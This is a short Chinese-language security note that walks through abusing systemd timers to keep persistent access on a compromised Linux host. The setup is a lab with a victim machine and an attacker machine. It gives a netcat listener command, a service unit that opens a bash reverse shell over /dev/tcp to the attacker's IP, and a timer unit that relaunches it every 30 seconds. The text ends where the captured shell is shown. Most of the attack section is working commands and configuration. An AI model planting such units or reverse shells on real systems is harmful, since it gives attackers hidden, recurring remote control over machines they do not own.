返回首页
EN
H7 / SECURITY RESEARCH NOTES

滥用systemd定时器创建定时任务实现权限维持

环境说明

IPHOSTNAMENOTE
172.16.106.67kali_dqy受害者主机
10.10.10.88win10_dqy攻击者主机

前言

  • 在获取到Linux系统权限后,有许多方式去进行权限维持,其中systemd定时器就是一种维持权限的方式。

  • 与 cron 作业类似,systemd 定时器可以在特定的时间间隔触发事件,攻击者可以通过创建定时任务的方式,执行恶意操作,如进行权限维持,创建挖矿任务等等。

  • 相关systemd的基础常识,可以参考如下链接:

http://www.ruanyifeng.com/blog/2018/03/systemd-timer.html

复现过程

攻击机设置监听

  • 我们在windows上通过netcat来监听5555端口:
 nc.exe -lvp 5555

创建Service单元

  • 我们通过在/usr/lib/systemd/system目录下创建一个service单元用于反弹shell到攻击者主机
[Unit]
Description=Just a reverse shell
[Service]
ExecStart=/usr/bin/bash -c 'bash -i >& /dev/tcp/10.10.10.88/5555 0>&1'

创建Timer单元

  • Timer单元创建Service单元的定时任务,这里我们每30s启动一次Service单元
[Unit]
Description=Run rs.service every 30s

[Timer]
OnUnitActiveSec=30s
Unit=rs.service

  • 接下来我们通过systemctl启动timer单元
sudo systemctl start rs.timer
  • 启动成功之后,查看timer状态
sudo systemctl status rs.timer

获取权限

  • 我们之前在windows攻击机上通过netcat监听了5555端口,如下图所示我们获取到了shell: